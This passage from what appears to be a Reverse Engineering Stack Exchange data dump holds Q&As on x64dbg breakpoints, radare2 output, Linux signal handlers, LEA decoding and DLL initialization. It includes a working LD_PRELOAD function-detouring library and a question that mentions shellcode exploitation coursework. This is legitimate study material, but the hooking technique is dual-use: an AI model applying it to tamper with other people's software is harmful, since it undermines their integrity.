        "Body": "<p>To be specific, I <strong>cannot</strong> recompile this binary, nor do I have access to the sourcecode.</p>\n\n<p>The functions are <strong>not</strong> defined within a shared library.</p>\n\n<p>So, how can I go about changing a function, or <em>preferably detouring it</em> to a new function?</p>\n\n<p>And if it's possible, use dlsym/dlopen to get my new modified code from a shared library, so I don't have to edit the binary by hand every time I want to change something.</p>\n\n<p>Oh, one more thing, editing the actual binary <strong>is</strong> something I can do/I have access to.</p>\n\n<p>And just for extra info, I have Radare2 installed, as well as GDB with pwndbg, so any solutions using those tools, or builtin GNU/Linux debugging tools would be appreciated.</p>\n\n<p>EDIT: </p>\n\n<p>I am a beginner to reverse engineering things, but not to the point I have zero idea what I'm doing.</p>\n",
        "Title": "How do I go about overriding a function internally defined in a binary on Linux?",
        "Tags": "|disassembly|assembly|linux|x86-64|",
        "Answer": "<p>First off, I would like to thank @wisk for his answer.  We've been trying to patch some software running in an experiment on the ISS and building from his answer we were finally able to figure this out.</p>\n<p>So, this is a reworked version of @wisk's solution with some additional features:</p>\n<ol>\n<li>the ability to fetch the symbol with dlsym (our case could not use this, but it was helpful for testing)</li>\n<li>the trampoline code uses inline assembly that is copied into place, instead of hard-coding the assembly instructions</li>\n<li>the ability to run on either AMD64 or ARM64</li>\n</ol>\n<h1>patch code</h1>\n<p><code>gcc patcher.c -o libpatcher.so -shared -ldl -fPIC</code>:</p>\n<pre><code>#define _GNU_SOURCE\n#include &lt;string.h&gt;\n#include &lt;byteswap.h&gt;\n#include &lt;stdint.h&gt;\n#include &lt;dlfcn.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;sys/mman.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;link.h&gt;\n#include &lt;stdio.h&gt;\n\nstatic void (*__original_routine)();\n\nstatic void __patch_routine(void)\n{\n    fprintf(stderr, &quot;patch routine!\\n&quot;);\n}\n\n#if defined(__x86_64__)\nuint64_t function_start_offset = 8;\nuint64_t fn_padding_size = 3;\n#elif defined(__aarch64__)\nuint64_t function_start_offset = 0;\nuint64_t fn_padding_size = 4;\n#endif\n\nstatic inline void trampoline()\n{\nasm volatile (\n&quot;_trampoline_begin:\\n&quot;\n#if defined(__x86_64__)\n    &quot;mov 0x2(%rip), %rax\\n&quot; // &lt;-- fetch data after trampoline\n    &quot;jmp *%rax\\n&quot;\n#elif defined(__aarch64__)\n    &quot;ldr x3, .+(_trampoline_end-_trampoline_begin)\\n&quot; // &lt;-- fetch data after trampoline\n    &quot;br  x3\\n&quot;\n#endif\n&quot;_trampoline_end:\\n&quot;\n);\n}\nstatic inline void trampoline_end() { }\n\nstatic void patch_function(uint64_t address, uint64_t jump_destination)\n{\n    long page_size = sysconf(_SC_PAGESIZE);\n    void* aligned_address = (void*)(address &amp; ~(page_size - 1));\n    if (mprotect(aligned_address, page_size, PROT_READ|PROT_WRITE|PROT_EXEC) &lt; 0)\n    {\n        perror(&quot;mprotect&quot;);\n        return;\n    }\n    uint8_t *ptr = (uint8_t *)(address);\n    uint64_t fn_size = (uint64_t)&amp;trampoline_end - (uint64_t)&amp;trampoline - fn_padding_size;\n    fn_size -= function_start_offset;\n    uint64_t trampoline_begin = (uint64_t)&amp;trampoline + function_start_offset;\n    memcpy(ptr, (void*)trampoline_begin, fn_size);\n    ptr += fn_size;\n    /* store the jump destination here */\n    *((uint64_t *)ptr) = jump_destination;\n    /* turn write protection back on */\n    if (mprotect(aligned_address, page_size, PROT_READ|PROT_EXEC) &lt; 0)\n    {\n        perror(&quot;mprotect&quot;);\n        return;\n    }\n}\nstatic uint64_t get_address(char *function)\n{\n    uint64_t target;\n#if 0\n    // ref: https://stackoverflow.com/questions/19451791/get-loaded-address-of-a-elf-binary-dlopen-is-not-working-as-expected\n    struct link_map* lm = (struct link_map*)dlopen(NULL, RTLD_NOW);\n    target = (uint64_t)lm-&gt;l_addr;\n    printf(&quot;[!] image base is at %p\\n&quot;, (void const*)target);\n    target += 0x400910; // RVA found by using readelf\n#else\n    target = (uint64_t)dlsym(RTLD_DEFAULT, function);\n#endif\n    return target;\n}\n\n__attribute__((constructor))\nstatic void patcher(void)\n{\n    uint64_t target;\n    target = get_address(&quot;original_routine&quot;);\n    if (!target)\n    {\n        fprintf(stderr, &quot;failed to fetch routine to replace.\\n&quot;);\n        exit(1);\n    }\n    printf(&quot;[!] targeted function is at %p\\n&quot;, (void const*)target);\n    printf(&quot;[!] new function is at %p\\n&quot;, (void const*)&amp;__patch_routine);\n    __original_routine = (typeof(__original_routine))target;\n    patch_function((uint64_t)__original_routine, (uint64_t)&amp;__patch_routine);\n}\n</code></pre>\n<h1>test program code</h1>\n<p><code>gcc -rdynamic -fPIC -o program program.c</code>:</p>\n<pre><code>#include &lt;stdio.h&gt;\n\nvoid original_routine(void)\n{\n    fprintf(stderr, &quot;original.\\n&quot;);\n}\n\nint main(int argc, char *argv[])\n{\n    original_routine();\n    fprintf(stderr, &quot;routine done.\\n&quot;);\n    return 0;\n}\n</code></pre>\n<h1>execution</h1>\n<p>With these two pieces in place, we can test on amd64:</p>\n<pre><code>$ uname -m; LD_PRELOAD=$PWD/libpatcher.so ./program\nx86_64\n[!] targeted function is at 0x557a2be7e149\n[!] new function is at 0x7f84757d31f9\npatch routine!\nroutine done.\n</code></pre>\n<p>and on arm64:</p>\n<pre><code>$ uname -m; LD_PRELOAD=$PWD/libpatcher.so ./program\naarch64\n[!] targeted function is at 0x400910\n[!] new function is at 0x5500832a0c\npatch routine!\nroutine done.\nroot@d75affb8f124:/\n</code></pre>\n"
    },
    {
        "Id": "20401",
        "CreationDate": "2019-01-17T16:20:56.883",
        "Body": "<p>After clicking a button or doing anything which might generate a message to be translated and dispatched, why is that the callstack might not show the message handler? </p>\n\n<p>Say I am reversing an application, I hit the Ok button and then it generates a window. Pausing the application after that window is generated should show the message handler in the call stack right? I see a callstack with one of the last entries being the message loop itself (get translate and dispatch) but I don't see the callback function. Should I just try and go through dispatchmessage to get the message handler? Is there some resource which tells me where exactly the messagehandler is in dispatchmessage? </p>\n",
        "Title": "The callstack does not show the message handler",
        "Tags": "|windows|x64dbg|",
        "Answer": "<p><a href=\"https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-dispatchmessage\" rel=\"nofollow noreferrer\">prototype of DispatchMessage() is</a></p>\n\n<pre><code>LRESULT DispatchMessage(\n  const MSG *lpMsg\n);\n</code></pre>\n\n<p>it takes only a pointer to <a href=\"https://docs.microsoft.com/en-us/windows/desktop/api/winuser/ns-winuser-tagmsg\" rel=\"nofollow noreferrer\">struct MSG</a>  which has a hwnd as its first </p>\n\n<pre><code>typedef struct tagMSG {\n  HWND   hwnd;\n  UINT   message;\n  WPARAM wParam;\n  LPARAM lParam;\n  DWORD  time;\n  POINT  pt;\n  DWORD  lPrivate;\n} MSG, *PMSG, *NPMSG, *LPMSG;\n</code></pre>\n\n<p>this hwnd is validated and the appropriate callback is called by internal functions of \nuser32.dll and comctl32.dll </p>\n\n<p>you can get the window proc in the handles window in x64dbg </p>\n\n<p>here is a screenshot of windows calc.exe paused at a breakpoint in user32.DispatchMessageW() </p>\n\n<p><a href=\"https://i.stack.imgur.com/BI75Z.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/BI75Z.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>you can get the hwnd parameter by looking at the stack \nwith <code>log {x:[[esp+4]]}</code> \nand following it up in handles window  the screenshot shows the hwnd in status bar\ncommand in command window and the window proc in handles window</p>\n\n<p><a href=\"https://i.stack.imgur.com/0jSC2.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/0jSC2.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>setting a breakpoint on the proc and hitting f9 will land us in the windowproc</p>\n\n<pre><code>Address   To        From      Size      Comment        \n0012EFB4  770C5F9F  00631EDE  78        calc.00631EDE\n0012F02C  770C4F0E  770C5F9F  5C        user32._GetRealWindowOwner@4+54\n0012F088  770C4F7D  770C4F0E  28        user32._DispatchClientMessage@20+4B\n0012F0B0  777B702E  770C4F7D  74        user32.___fnDWORD@4+24\n0012F124  770CCC70  777B702E  10        ntdll.777B702E \n0012F134  00631CAC  770CCC70  D70       user32._DispatchMessageW@4+F\n0012FEA4  0064219A  00631CAC  90        calc.00631CAC \n0012FF34  7748ED6C  0064219A  C         calc.0064219A\n0012FF40  777D37EB  7748ED6C  40        kernel32.7748ED6C \n0012FF80  777D37BE  777D37EB  18        ntdll.777D37EB\n0012FF98  00000000  777D37BE            ntdll.777D37BE \n</code></pre>\n"
    },
    {
        "Id": "20411",
        "CreationDate": "2019-01-18T11:01:28.300",
        "Body": "<p>How can I set a conditional breakpoint based on the argument of a function?</p>\n\n<p>I am trying to break on the windows function <code>LoadLibraryExW</code>: <a href=\"https://docs.microsoft.com/en-us/windows/desktop/api/libloaderapi/nf-libloaderapi-loadlibraryexw\" rel=\"nofollow noreferrer\">https://docs.microsoft.com/en-us/windows/desktop/api/libloaderapi/nf-libloaderapi-loadlibraryexw</a></p>\n\n<p>I want to break on this function only when the first argument (<code>lpLibFileName</code>) is equal to <code>L\"Test.dll\"</code>. When I break on the function I can see that <code>L\"Test.dll\"</code> is <code>esp+4</code>.</p>\n\n<p>I've tried a few different variations without success. They either break on every <code>LoadLibraryExW</code> calls or none. Variations like:</p>\n\n<pre><code>Break Condiditon: [esp+4]==L\"Test.dll\"\nBreak Condition: esp+4==L\"Test.dll\"\netc..\n</code></pre>\n\n<p>What is the proper way of setting a conditional breakpoint based on function arguments? Or register offsets?</p>\n",
        "Title": "x64dbg - Conditional breakpoint based on function argument",
        "Tags": "|windows|x86|x64dbg|breakpoint|",
        "Answer": "<p>As commented by @mrexodia  you can set a DLL breakpoint </p>\n\n<pre><code>Typ Address  Module/La State   Disassembly H Summa\nDLL                               \n    76850000 gdi32.dll Enabled  0 all()\n</code></pre>\n\n<p>Go to breakpoint window (alt+b) -> Right Click Add Dll BreakPoint </p>\n\n<p>Type test.dll </p>\n\n<p>This will break when test.dll is loaded </p>\n\n<p>String compare as such isn't yet implemented. A bug report exists from 2017 and a workaround exists which states using a third party plugin<br>\nwhich you can check out. </p>\n\n<p>Or simply split the string into bytes and compare  the bytes \nlike </p>\n\n<pre><code>Type     Address  Module/Label/Exception     State   Disassembly H Summary                                                                                         \nSoftware                                                           \n         76ACE8A5 &lt;kernel32.dll.CreateFileW&gt; Enabled mov edi,edi 5 breakif((1:[[esp+4]+0xc] == 66) &amp;&amp;  (1:[[esp+4]+0xe] == 69)), log(\"brk hit   { 1:[[esp+4]+c] }\")\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/frSq3.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/frSq3.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>x64dbg has broken when file testmefive.txt was opened for source code below with above byte compare method</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nint main(void)\n{\n    char *filenames[] = {\n        \"testmeone.txt\",\n        \"testmetwo.txt\",\n        \"testmethree.txt\",\n        \"testmefour.txt\",\n        \"testmefive.txt\"};\n    for (int i = 0; i &lt; 5; i++)\n    {\n        FILE *fp = NULL;\n        errno_t err = fopen_s(&amp;fp, filenames[i], \"r\");\n        if (err == 0 &amp;&amp; fp != 0)\n        {\n            char buff[0x50] = {0};\n            fread_s(buff, 0x50, 1, 0x50, fp);\n            printf(\"%s\\n\", buff);\n            fclose(fp);\n        }\n    }\n}\n</code></pre>\n"
    },
    {
        "Id": "20424",
        "CreationDate": "2019-01-20T13:32:16.147",
        "Body": "<p>I have those opcodes on 64 bits: </p>\n\n<pre><code>48 8D 35 45 CE FF FF &gt;&gt;&gt; lea rsi, [rip - 0x31bb].\n</code></pre>\n\n<p>How can I get the 0x31bb value from those opcodes and how can I know if I have a <code>+</code> sign or a <code>-</code> sign beetween operands ( <code>rip - 0x31bb</code> or <code>rip + 0x31bb</code> ) ?</p>\n",
        "Title": "Calculate LEA operand",
        "Tags": "|ida|assembly|decompilation|patch-reversing|x86-64|",
        "Answer": "<p>You can get that value from the last 4 bytes of the opcode.</p>\n\n<pre><code>45 CE FF FF\n</code></pre>\n\n<p>You need to reverse the order of bytes and the the value is written as <a href=\"https://en.wikipedia.org/wiki/Two%27s_complement\" rel=\"nofollow noreferrer\">2's complement</a>. Since the highest bit is 1 it will be negative. </p>\n\n<pre><code>(0xFFFFCE45) in 2's = -0x31BB\n</code></pre>\n"
    },
    {
        "Id": "20426",
        "CreationDate": "2019-01-20T17:35:36.663",
        "Body": "<p>I can't understand the meaning of ascii-art color bars.<br>\nwhat is the meaning of the <code>#</code> charaters?</p>\n\n<pre><code>[0x08000210]&gt; iS=\n00  0x08000000 |---------------------------------| 0x08000000     0 ---      \n01  0x08000200 |--------------------#------------| 0x0800020d    13 rw-  .data\n02* 0x08000210 |---------------------##----------| 0x08000237    39 r-x  .text\n03  0x08000240 |-----------------------###-------| 0x08000272    50 ---  .shstrtab\n04  0x08000280 |-------------------------#######-| 0x08000310   144 ---  .symtab\n05  0x08000310 |-------------------------------##| 0x0800032a    26 ---  .strtab\n06  0x08000330 |--------------------------------#| 0x08000348    24 ---  .rela.text\n07  0x08000000 |###------------------------------| 0x08000040    64 rw-  ehdr\n=&gt;  0x08000210 |---------------------------------| 0x0800020f\n</code></pre>\n",
        "Title": "radare2 how to interpret ascii-art color bars?",
        "Tags": "|radare2|",
        "Answer": "<p>This chart describes the different Sections and Memory Segments in your binary.</p>\n\n<p>Each row in the chart is a different section where its name is in the rightest column. From the left, you can see its start address, from the right you can see its end-address and next to it you can see the sections' size (decimal). That means, <code>Start-Address + Size = End-Address</code>.</p>\n\n<p>The ASCII bar itself is an imaginary range of addresses and the hash sign <code>#</code> will mark where on this range the section appears. In your example, the chart begins at <code>0x08000000</code> which is the lowest address and ends at <code>0x08000348</code> which is the highest. The <code>.symtab</code> is the biggest section in your example since it in size of 144. This is why it has the biggest amount of <code>#</code> characters.</p>\n"
    },
    {
        "Id": "20436",
        "CreationDate": "2019-01-21T18:14:48.093",
        "Body": "<p>I need some help and advice here.\nI am privately learning on how to reverse engineer\nour teachers custom file archive\nfile that have other files stored inside of them. \nfor school project.</p>\n\n<p>But, I am kinda lost on where I need to start with the file.\nWhat do I look for in the file after loading it into ida-pro\nTo, be able to create my own self extracting Tool for my project.</p>\n\n<p>The File format is .crackme that has been compressed with files inside of it\nfrom our teacher at school but when I double click on the file it says the file is \"archive either unknown format or damaged\".</p>\n\n<p>So, yeah the file extension he gave us is not any known on the web \nhe created his own extension for us to crack it and make an extractor tool\nto get all the data from the archive his extension name is \".crackme\" \nso yeah.</p>\n\n<p>Any Advice, here any help to is much appreciated by me.</p>\n",
        "Title": "Extracting the contents of an unknown archive file format",
        "Tags": "|file-format|decompress|binary-diagnosis|",
        "Answer": "<p>I hope you'll find your experience in RE.SE enjoyable and educating :)\nReverse engineering is often studied as a hobby, so you're in good company! </p>\n\n<p>IDA pro is a disassembler, which is focused on reverse engineering / reading assembly/machine code. that is - the code actually executed by the CPU. Since it appears you were only given a <em>format</em> file, without any executable code to manipulate / process the file, IDA will prove less useful.</p>\n\n<p>Instead, the only tool you should require for such a task, assuming the format is indeed proprietary, is a hex-editor / reader. <a href=\"https://www.sweetscape.com/010editor/\" rel=\"noreferrer\">010 Editor</a> is a great one, and it has a trial version.</p>\n\n<p>To eliminate the possibility of a known format, try running a couple file identification tools such as the linux <code>file</code> command, <a href=\"http://mark0.net/soft-trid-e.html\" rel=\"noreferrer\">TrID</a>, <a href=\"https://github.com/ReFirmLabs/binwalk\" rel=\"noreferrer\">binwalk</a>, etc. These will try to identify common file formats (binwalk is specifically focused on archive formats), which if provide any insights should point you in the right direction.</p>\n\n<p>To reverse engineer a file format solely based on a single file content, you'll need to map out the the file's apparent structure and you don't have a lot to go with. Excluding textual and very simply file formats, this should be kinda difficult without any additional resources (more files, a program that handles the format in any way, etc).</p>\n\n<p>Here's a list of pointers/tips, although you'll probably find more information available online:</p>\n\n<ol>\n<li>As most files begin with a header, you should begin with mapping what are the different members of the header structure.</li>\n<li>Things that are magic values, strings, offsets and sizes are quite easy to recognize. Most decent hex editors will show different representations of every few bytes, so it'll be easy to recognize. </li>\n<li>Start by dividing the bytes to different members, before you try to understand their meaning. For example, given the following hex stream: <code>00 05 00 00 00 01 BE F1 CA D7</code> it is easy to notice the members are a word (2 bytes), a dword (4 bytes) and another dword. It is also likely that the first two are integers while the third is either a magic value or a CRC.</li>\n<li>If the file has any recurring delimiter values, those should also be easily identifiable (although less likely to be present in an active file format).</li>\n<li>If you manage to recognize any other file headers (probably using their own magic values), those are good leads to figuring out where the actual file content is placed. This will also mean the archive file does not compress the contained files, linux's tar, for example, can do that. Alternatively, if you encounter long streams of smooth or random looking binary streams those can be the actual compressed data. I tend to believe your teacher did not invent he's own compression algorithm, so there you'll need to find similarities to other compression algorithms, perhaps running those streams under TrID and file again could help.</li>\n<li>Common looking patterns, for example, may be a useful way to uncover recurring structures (for which you'll have more than one reference point, yay!). For example, if you recognize every file-name string is followed by a sequence of bytes with a similar structure, those are probably two instances of the same structure. </li>\n</ol>\n"
    },
    {
        "Id": "20441",
        "CreationDate": "2019-01-22T17:53:02.767",
        "Body": "<p>Sorry if this is a duplicate and please point me in the right direction if so.  I have a strong foundation in C programming and I know how memory is allocated on the stack for variables/arrays/pointers (of all datatypes) etc.  I also understand how to use malloc and free to put data on the heap.  What I do NOT understand is how all the registers and the call stack fit together with this picture and what each registers is supposed to point to.  I am trying to learn this before I start messing with GDB so I actually know what I am looking at.  Any good references out there?</p>\n\n<p>Ultimately this is so I can do a project for my masters where I need to run shellcode by exploiting a buffer overflow vulnerability in a given program.  I know how to do a basic buffer overflow by feeding the program more data than allocated but I don't know what/how much data I need to feed the program so that it gets put at the right place in memory in order to execute what is required.</p>\n",
        "Title": "What is a good resource to learn about how the call stack works while programming in C?",
        "Tags": "|gdb|memory|stack|register|callstack|",
        "Answer": "<blockquote>\n  <p>What I do NOT understand is how all the registers and the call stack fit together with this picture and what each registers is supposed to point to.</p>\n</blockquote>\n\n<p>It's great that you are competent in C, but there is no way around reading disassembled object code and writing assembly code (practical experience).</p>\n\n<p>The compiler toolchain is responsible for generating object code that targets a particular CPU. This means that it is the compiler that is responsible for managing all of the registers based on details such as process layout in memory (which is OS-specific), calling convention, optimization level, application binary interface (also OS-specific), etc.</p>\n\n<p>You did not give any information about the environment you are working in aside from mentioning GDB, so I am guessing you are going to be doing Linux x86 binary exploitation.</p>\n\n<ul>\n<li><p>A good theoretical foundation for understanding the stack is provided by Chapter 8 \"Subroutines and Control Abstraction\" in <em>Programming Language Pragmatics</em> by Michael L. Scott.</p></li>\n<li><p>A good practical introduction to Linux x86 stack structure and management is provided in section 3.7 \"Procedures\" in <em>Computer Systems: A Programmer's Perspective</em> by Bryant and O'Hallaron.</p></li>\n</ul>\n\n<p>Lastly, there is the following Q&amp;A regarding the stack over at the CS.SE site:</p>\n\n<p><a href=\"https://cs.stackexchange.com/questions/76871/how-are-variables-stored-in-and-retrieved-from-the-program-stack\">How are variables stored in and retrieved from the program stack?\n</a></p>\n"
    },
    {
        "Id": "20453",
        "CreationDate": "2019-01-23T19:51:51.670",
        "Body": "<pre><code>   0x0000000008001946:  mov    0xa8(%rdx),%rax\n   0x000000000800194d:  lea    0x28(%rdx),%rsi\n   0x0000000008001951:  lea    0x2(%rax),%rdi\n   0x0000000008001955:  add    $0xe,%rax\n   0x0000000008001959:  mov    %rax,0xa8(%rdx)\n   0x0000000008001960:  jmpq   0x8001ee0\n</code></pre>\n\n<p>Above is the <em>full</em> disassembly of a signal handler which is customarily set by the program which I'm looking into, i.e., the program registers the signal handler and immediately invokes it by raising a <code>SIGILL</code> using the opcode <code>ud2</code>.</p>\n\n<p>The signal handler is registered here:</p>\n\n<pre><code>   0x8001965:   push   %rbx\n   0x8001966:   xor    %eax,%eax\n   0x8001968:   mov    $0x26,%ecx\n   0x800196d:   sub    $0xa0,%rsp\n   0x8001974:   lea    0x8(%rsp),%rdi\n   0x8001979:   rep stos %eax,%es:(%rdi)\n   0x800197b:   lea    -0x3c(%rip),%rax        # 0x8001946\n   0x8001982:   lea    0x10(%rsp),%rdi\n   0x8001987:   movl   $0x8000004,0x90(%rsp)\n   0x8001992:   mov    %rax,0x8(%rsp)\n   0x8001997:   callq  0x8000f60 &lt;sigfillset@plt&gt;\n   0x800199c:   xor    %edx,%edx\n   0x800199e:   test   %eax,%eax\n   0x80019a0:   jne    0x80019bb\n   0x80019a2:   lea    0x8(%rsp),%rbx\n   0x80019a7:   xor    %edx,%edx\n   0x80019a9:   mov    $0x4,%edi\n   0x80019ae:   mov    %rbx,%rsi\n   0x80019b1:   callq  0x8000f90 &lt;sigaction@plt&gt;\n</code></pre>\n\n<p>Where <code>0x8001946</code> is the address of the handler, as disassembled prior to that in the first code-block.</p>\n\n<p>My question is regarding the first instruction of the signal handler which appears to make no sense at all, and I can't debug it since I can't put a breakpoint on it:</p>\n\n<pre><code>0x0000000008001946:  mov    0xa8(%rdx),%rax\n</code></pre>\n\n<p><code>%rdx</code> is defined by the ABI as the third parameter passed to a function, and as defined by <code>sigaction</code> the third argument of <code>sa_sigaction</code> is a <code>void *</code> (a casted <code>ucontext_t</code> structure) but there is no <code>0xa8</code>th index into the definition of a <code>struct ucontext_t</code>, which leads me to believe it's something else.</p>\n\n<p>I thought it might be an <code>%rdx</code> set before the <code>ud2</code> instruction is called:</p>\n\n<pre><code>   0x0000000008000fde:  test   %al,%al\n   0x0000000008000fe0:  mov    $0x2,%edx\n   0x0000000008000fe5:  je     0x8001028\n   0x0000000008000fe7:  movslq %ebx,%rdi\n   0x0000000008000fea:  mov    %rbp,%rsi\n   0x0000000008000fed:  callq  0x8001190\n</code></pre>\n\n<p>But prior to the call to <code>0x80001190</code> (the bug), <code>%rdx</code> only contains <code>$0x2</code>. So I'm even more confused.</p>\n\n<p>Could anyone shed some light on what <code>%rdx</code> could contain at <code>0x8001946</code> after a <code>SIGILL</code> is raised, and  the signal is passed off to the custom handler defined at that address?</p>\n",
        "Title": "Unknown parameters in custom signal handler on Linux",
        "Tags": "|linux|gcc|x86-64|",
        "Answer": "<p>It seems to be <code>%rip</code> (the address of the <code>ud2</code>):</p>\n\n<pre><code>#include &lt;signal.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;ucontext.h&gt;\n\nvoid handler(int signo, siginfo_t *info, void *context) {\n    ucontext_t *uc = (ucontext_t*)context;\n    printf(\"%llx\\n\", uc-&gt;uc_mcontext.gregs[REG_RIP]);\n}\n</code></pre>\n\n<p>compiles to:</p>\n\n<pre><code>handler(int, siginfo_t*, void*):\n        movq    168(%rdx), %rsi\n        movl    $.L.str, %edi\n        xorl    %eax, %eax\n        jmp     printf\n.L.str:\n        .asciz  \"%llx\\n\"\n</code></pre>\n\n<p>(<a href=\"https://gcc.godbolt.org/z/RC064L\" rel=\"nofollow noreferrer\">https://gcc.godbolt.org/z/RC064L</a>)</p>\n"
    },
    {
        "Id": "20455",
        "CreationDate": "2019-01-24T08:43:09.757",
        "Body": "<p>All right, Actually I am manually mapping a module into a process, actually my mapper calls <code>DllEntryPoint</code> from standard struct <code>IMAGE_NT_HEADERS</code> thus <code>IMAGE_NT_HEADERS::OptionalHeader::AddressOfEntryPoint</code> etc...</p>\n\n<p>The problem:\nconsider following code:</p>\n\n<pre><code>void Log(const char*, ...);\n\n\nclass Test\n{\n    private:\n        struct List_t\n        {\n            const uint32_t x;\n            const uint32_t y; \n        } List;\n\n    public:\n        Test(List_t z) : List(z) { Log(\"Called event 0! \\n\"); }\n        ~Test() {}\n};\n\n\n\nvoid Entry()\n{\n    Test Instance\n    (\n        {\n            0x200,\n            0x400\n        }\n    );\n\n    Log(\"Called! \\n\");  \n}\n\n\nBOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)\n{\n\n    if(fdwReason == 1)\n        Entry();\n\n    return TRUE;\n}\n</code></pre>\n\n<p>so if the module entry point gets called through <code>IMAGE_NT_HEADERS::OptionalHeader::AddressOfEntryPoint</code> from mapper, the constructor <code>Test()</code> never gets executed, while that <code>Entry()</code> function gets executed successfully, now if the module it's loaded with standard <code>LoadLibraryA();</code> so <code>Test()</code> constructor gets called successfully...</p>\n\n<p>Where i would find some information about this?</p>\n\n<p>I have heard something about <code>CRT</code> initializers, but i can't find anything deeply...</p>\n",
        "Title": "There is something else than a \"DllMain\" in a module for its initialization?",
        "Tags": "|dynamic-linking|pe32|compiler-optimization|",
        "Answer": "<p>In case of programs you'd also have to watch out for <a href=\"https://wiremask.eu/articles/tls-callbacks-assembly-x86-64/\" rel=\"nofollow noreferrer\">TLS callbacks</a>. These run prior to the entry point, but I have only ever seen those on .exe files, never on DLLs. Still, Peter Ferrie stated that TLS callbacks exist for DLL files. I'd trust his expertise on this, even though I've never seen one of those myself, when reverse engineering a DLL.</p>\n\n<p>Anyway, <code>DllMain</code> in your case has that <code>fdwReason</code> parameter. That one is kind of important here and you should not have used a literal <code>1</code> there but the <a href=\"https://docs.microsoft.com/en-us/windows/desktop/dlls/dllmain\" rel=\"nofollow noreferrer\">proper symbolic name: <code>DLL_PROCESS_ATTACH</code></a>.</p>\n\n<p><code>DLL_PROCESS_ATTACH</code>, <code>DLL_PROCESS_DETACH</code>, <code>DLL_THREAD_ATTACH</code>, <code>DLL_THREAD_DETACH</code> are the currently defined values. A <code>switch</code> statement would therefore be much more sensible here.</p>\n\n<p>Depending on the reason for which you're being called back in <code>DllMain</code> you can act.</p>\n\n<p>Now while I don't know if that class is meant to be a singleton, it's clear that all that happens inside <code>Entry()</code> is the creation <em>and</em> destruction of an instance of that class on the stack. Once the scope of that function is left, the instance will be destroyed. You should be able to verify this by adding something like a <code>Log()</code> invocation to the dtor.</p>\n\n<p>As for the CRT initializers, yes these exist. Kindly read <a href=\"https://reverseengineering.stackexchange.com/a/2089/245\">this other answer by me</a> before reading on.</p>\n\n<p>...</p>\n\n<p>Okay, assuming you read my answer, the difference between <code>DllMain</code> as expected by the CRT when you build with the default CRT is that it already includes that CRT initialization code you likely mean. Whereas if you told the linker to use an alternative <code>/entry</code> you would still use the same prototype for the DLL entry function, but you'd have to deal with initialization. Literally all the information you may need is in the above linked answer to that related question <em>and</em> inside the files mentioned in said answer.</p>\n"
    },
    {
        "Id": "20464",
        "CreationDate": "2019-01-25T02:19:13.127",
        "Body": "<p>I am using IDA pro to follow along a youtube video of RE from OALabs. <a href=\"https://www.youtube.com/watch?v=kdNQhfgoQoU&amp;t=1575s\" rel=\"nofollow noreferrer\">https://www.youtube.com/watch?v=kdNQhfgoQoU&amp;t=1575s</a></p>\n\n<p>I am facing a problem when i try to put a break point on functions in ntdll, when i double click c:\\windows\\system32\\ntdll.dll in the modules windows I get warning saying \"Module c:\\windows\\system32\\ntdll.dll has no names\". When i right click on c:\\windows\\system32\\ntdll.dll in the modules window and select load debug symbols, it downloads something but I am still not able to see the functions i would like to put break point on like NtResumeThread.</p>\n\n<p>Appreciate any assistance or suggestions. Pic<a href=\"https://i.stack.imgur.com/cbBtJ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/cbBtJ.png\" alt=\"enter image description here\"></a> attached for reference.<a href=\"https://i.stack.imgur.com/ZmShR.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ZmShR.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "ida pro issue debugging issues with ntdll",
        "Tags": "|ida|malware|",
        "Answer": "<p>Simply set the breakpoint on <code>ZwResumeThread</code> (also shown in your screenshot). From user mode the only difference between <code>NtResumeThread</code> and <code>ZwResumeThread</code> is the name prefix. In kernel mode these functions (of <code>ntoskrnl.exe</code> instead of <code>ntdll.dll</code>) have implementation differences indeed.</p>\n\n<p>You may want to brush up on Windows internals a bit. <a href=\"https://www.geoffchappell.com/studies/windows/win32/ntdll/api/native.htm\" rel=\"nofollow noreferrer\">This article by Geoff Chappell</a> may help.</p>\n"
    },
    {
        "Id": "20473",
        "CreationDate": "2019-01-26T01:36:18.277",
        "Body": "<p>How can I print the opcodes in a trace log?</p>\n\n<p>I can use <code>{x:bswap([cip])}</code> but this will print a fix amount of bytes (which most of the time will end up as either more or less number of bytes), regardless of the ones that the instruction does have</p>\n",
        "Title": "Print opcodes in trace - x64dbg",
        "Tags": "|x64dbg|",
        "Answer": "<p>You can use <code>{mem;dis.len(cip)@cip}</code>. See <a href=\"http://help.x64dbg.com/en/latest/introduction/Formatting.html\" rel=\"nofollow noreferrer\">http://help.x64dbg.com/en/latest/introduction/Formatting.html</a> for the relevant documentation.</p>\n"
    },
    {
        "Id": "20481",
        "CreationDate": "2019-01-27T15:19:49.603",
